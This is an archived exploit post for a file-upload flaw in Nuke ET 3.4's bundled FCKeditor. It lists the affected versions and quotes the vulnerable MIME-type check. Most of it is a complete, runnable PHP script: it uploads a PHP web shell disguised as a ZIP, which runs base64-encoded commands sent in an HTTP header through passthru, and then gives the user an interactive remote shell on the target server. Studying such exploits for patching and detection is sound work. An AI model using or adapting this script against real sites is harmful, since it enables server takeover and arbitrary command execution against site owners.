Vulnerable:
Tru-Zone NukeET 3.4
FCKeditor FCKeditor 2.4.3
FCKeditor FCKeditor 2.0 rc3
FCKeditor FCKeditor 2.0 RC2
FCKeditor FCKeditor 2.3 beta
FCKeditor FCKeditor 2.2

<?php

/*
 ---------------------------------------------------------------
 Nuke ET <= 3.4 (fckeditor) Remote Arbitrary File Upload Exploit
 ---------------------------------------------------------------

 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com

 link.....: http://www.truzone.org/

 This PoC was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.

 [-] vulnerable code in /nuke/FCKeditor/editor/filemanager/browser/default/connectors/php/commands.php

 147. function FileUpload( $resourceType, $currentFolder )
 148. {
 149.  $sErrorNumber = '0' ;
 150.  $sFileName = '' ;
 151.
 152.  if ( isset( $_FILES['NewFile'] ) && !is_null( $_FILES['NewFile']['tmp_name'] ) )
 153.  {
 154.   $oFile = $_FILES['NewFile'] ;
 155.
 156.   // Map the virtual path to the local server path.
 157.   $sServerDir = ServerMapFolder( $resourceType, $currentFolder ) ;
 158.
 159.   // Get the uploaded file name.
 160.   $sFileName = $oFile['name'] ;
 161.   $sOriginalFileName = $sFileName ;
 162.   // Security fix by truzone 01-15-2006
 163.   //$sExtension = substr( $sFileName, ( strrpos($sFileName, '.') + 1 ) ) ;
 164.   //$sExtension = strtolower( $sExtension ) ;
 165.
 166.   if(extension_loaded("mime_magic")){
 167.   $sExtension = mime_content_type($oFile['tmp_name']);
 168.   }else{
 169.   $sExtension = $oFile['type'];
 170.   }
 171.   // en of security fix by truzone 01-15-2006
 172.   global $Config ;
 173.
 174.   $arAllowed = $Config['AllowedExtensions'][$resourceType] ;
 175.   $arDenied = $Config['DeniedExtensions'][$resourceType] ;

 An attacker might be able to upload arbitrary files containing malicious PHP code due to the code
 near lines 166-170 will check only the MIME type of the upload request, that can be easily spoofed!
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}

function connector_response($html)
{
 return (preg_match("/OnUploadCompleted\((\d),\"(.*)\"\)/", $html, $match) && in_array($match[1], array(0, 201)));
}

print "\n+------------------------------------------------------------------+";
print "\n| Nuke ET <= 3.4 (fckeditor) Arbitrary File Upload Exploit by EgiX |";
print "\n+------------------------------------------------------------------+\n";

if ($argc < 3)
{
 print "\nUsage......: php $argv[0] host path";
 print "\nExample....: php $argv[0] localhost /";
 print "\nExample....: php $argv[0] localhost /nukeet/\n";
 die();
}

$host = $argv[1];
$path = ereg_replace("(/){2,}", "/", $argv[2]);

$filename  = md5(time()).".php";
$connector = "FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php";

$payload  = "--o0oOo0o\r\n";
$payload .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"{$filename}\"\r\n";
$payload .= "Content-Type: application/zip\r\n\r\n";
$payload .= "PK\003\004<?php error_reporting(0);print(\"_code_\\n\");passthru(base64_decode(\$_SERVER[HTTP_CMD])); ?>\n";
$payload .= "--o0oOo0o--\r\n";

$packet  = "POST {$path}{$connector}?Command=FileUpload&Type=File&CurrentFolder=%2f HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: multipart/form-data; boundary=o0oOo0o\r\n";
$packet .= "Connection: close\r\n\r\n";
$packet .= $payload;

if (!connector_response(http_send($host, $packet))) die("\n[-] Upload failed!\n");
else print "\n[-] Shell uploaded to {$filename}...starting it!\n";

$path .= str_repeat("../", substr_count($path, "/") - 1) . "UserFiles/File/"; // come back to the document root

$packet  = "GET {$path}{$filename} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
 print "\nnukeet-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $response = http_send($host, sprintf($packet, base64_encode($cmd)));
  preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");
 }
 else break;
}

?># milw0rm.com [2008-10-18]